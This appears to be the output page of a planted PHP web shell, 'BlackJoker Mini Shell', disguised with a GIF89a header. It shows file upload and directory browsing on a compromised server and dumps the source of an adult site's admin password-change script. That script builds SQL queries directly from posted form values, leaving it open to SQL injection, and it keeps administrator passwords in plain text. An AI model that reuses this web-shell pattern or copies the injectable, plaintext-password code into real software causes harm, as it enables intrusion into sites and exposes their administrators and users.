GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/m/admin/
Upload File :
Current File : /home/serb/public_html/m/admin/change_password.php

<? 
include("sessionout.php");
	include("../lib/globals.php");
	include("../lib/common.php");
	//$action=$HTTP_GET_VARS["action"];
	//if($action=="change")
	//{
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>:: Adult Rubs | admin  ::</title>
<link href="../style.css" rel="stylesheet" type="text/css" />
<script language="JavaScript" type="text/javascript" src="../validator/frm_validator.js"></script>
<script language="JavaScript" type="text/javascript" src="../validator/function.js"></script>
<script>
function validate()
{
	if(frmValidate('frm','old_p','Old Password','YES',' ')==false)
	{
		return false;
	}
	if(frmValidate('frm','new_p','New Password','YES',' ')==false)
	{
		return false;
	}
	if(frmValidate('frm','new_c_p','New Confirm Password','YES',' ')==false)
	{
		return false;
	}
	var new_p=window.document.frm.new_p.value;
	var new_c_p=window.document.frm.new_c_p.value;
	if(new_p!=new_c_p)
	{
		alert("New Password and Confirm Password should be same    ");
		window.document.frm.new_c_p.focus();
		window.document.frm.new_c_p.select();
		return false;
	}
}
</script>
</head>
<body>
<table width="790" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#00283e">
  <tr>
    <td align="left" valign="top"><table width="790" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td align="left" valign="top" class="td1"><table width="790" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="343" align="left" valign="top"></td>
            <td width="447" align="left" valign="top">&nbsp;</td>
          </tr>
          <tr>
            <td height="38" align="right" valign="middle" class="topnav"><p style="margin-left:23px;"><img src="img/logo.png" alt="" /></p></td>
            <td align="right" valign="top" class="footer-link">Administrator Control Panel&nbsp;&nbsp;&nbsp;&nbsp;</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td align="left" valign="top" class="td2">&nbsp;</td>
        </tr>
    </table></td>
  </tr>
  <tr>
    <td align="center" valign="top" class="td3"><table width="780" border="0" cellspacing="0" cellpadding="0">
      <!--<tr>
        <td height="5"></td>
      </tr>-->
      <tr>
        <td align="center" valign="top" class="td4"><table width="768" border="0" cellspacing="0" cellpadding="0"><tr>
     <td height="6"></td>
     </tr>
          <tr>
            <td align="center" valign="top" class="td9"><table width="751" border="0" align="center" class="bordermain">
              <tr>
                <td><? include("menu.php");?></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><table width="491" border="0" align="center" cellpadding="0" cellspacing="1" class="bordermain">
                  <tr>
                    <td height="24" colspan="2" align="center" class="tblHeader2">&nbsp;Change Administrator
                      Paasword</td>
                  </tr>
                  <tr class="mouseOver">
                    <td width="200">&nbsp;</td>
                    <td width="197">&nbsp;</td>
                  </tr>
                  <form action="change_password.php?action=Update" method="post" name="frm" id="frm" onsubmit="return validate();">
                    <tr  class="alterClass2">
                      <td height="24" align="left" class="gtext"><b>&nbsp;&nbsp;Old Password 
                        :</b></td>
                      <td>&nbsp;
                          <input name="old_p" type="password" class="content" id="old_p" /></td>
                    </tr>
                    <tr  class="mouseOver">
                      <td height="24" align="left" class="gtext"><b>&nbsp;&nbsp;New Password 
                        :</b></td>
                      <td>&nbsp;
                          <input name="new_p" type="password" class="content" id="new_p" /></td>
                    </tr>
                    <tr  class="alterClass2">
                      <td height="24" align="left" class="gtext"><b>&nbsp;&nbsp;Confirm 
                        New Password :</b></td>
                      <td>&nbsp;
                          <input name="new_c_p" type="password" class="content" id="new_c_p" /></td>
                    </tr>
                    <tr  class="mouseOver">
                      <td>&nbsp;</td>
                      <td>&nbsp;</td>
                    </tr>
                    <tr  class="alterClass2">
                      <td align="right"><input name="Submit" type="submit" class="butn3" value="Change Password" />
                      </td>
                      <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                          <input name="Submit2" type="reset" class="butn3" value="Reset" onclick="setFocus('frm','old_p');" /></td>
                    </tr>
                  </form>
                  <tr  class="mouseOver">
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                  </tr>
                </table></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td width="296">&nbsp;</td>
                </tr>
              
            </table></td>
          </tr>
          <tr>
            <td width="232" align="center" valign="top" class="td5">&nbsp;</td>
            </tr><tr>
     <td height="6"></td>
     </tr>
        </table></td>
      </tr>
      
    </table></td>
  </tr>
  <!--<tr>
     <td height="6"></td>
     </tr>
  	 <tr>
     <td width="232" align="center" valign="top" class="td2">&nbsp;</td>
     </tr>-->
  <tr>
    <td align="center" valign="top"><table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td align="center" valign="top" class="footer-bac">
		<p style="text-align:center; padding:35px 0 5px 0px;"><a href="#" class="footer-link">Administrator Control Panel </a><a href="#" class="footer-link"></a></p>
		<p class="footer-text1" style="text-align:center;">swingers.it</p>
		</td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>
<?php
	if($_POST)
	{
		$old_p=$_POST["old_p"];
		$new_p=$_POST["new_p"];
		$edit_sql="Select * from admin_login where password='$old_p'";
		$edit_rs=execute_query($edit_sql);
		if(mysql_num_rows($edit_rs)==0)
		{
			echo "<script language=\"JavaScript\" type=\"text/javascript\">\n";
			echo "alert(\"Old Password can not matched    \");\n";
			echo "history.back();\n";
			echo "</script>";
			exit();
		}
		else
		{
			$update_sql="update admin_login set password='$new_p' where password='$old_p'";
			execute_query($update_sql);
			echo "<script language=\"JavaScript\" type=\"text/javascript\">\n";
			echo "alert(\"Password successfully changed    \");\n";
			echo "window.location.href=\"change_password.php?action=change\";\n";
			echo "</script>";
		}
	}
?>

./BlackJoker Mini Shell 1.0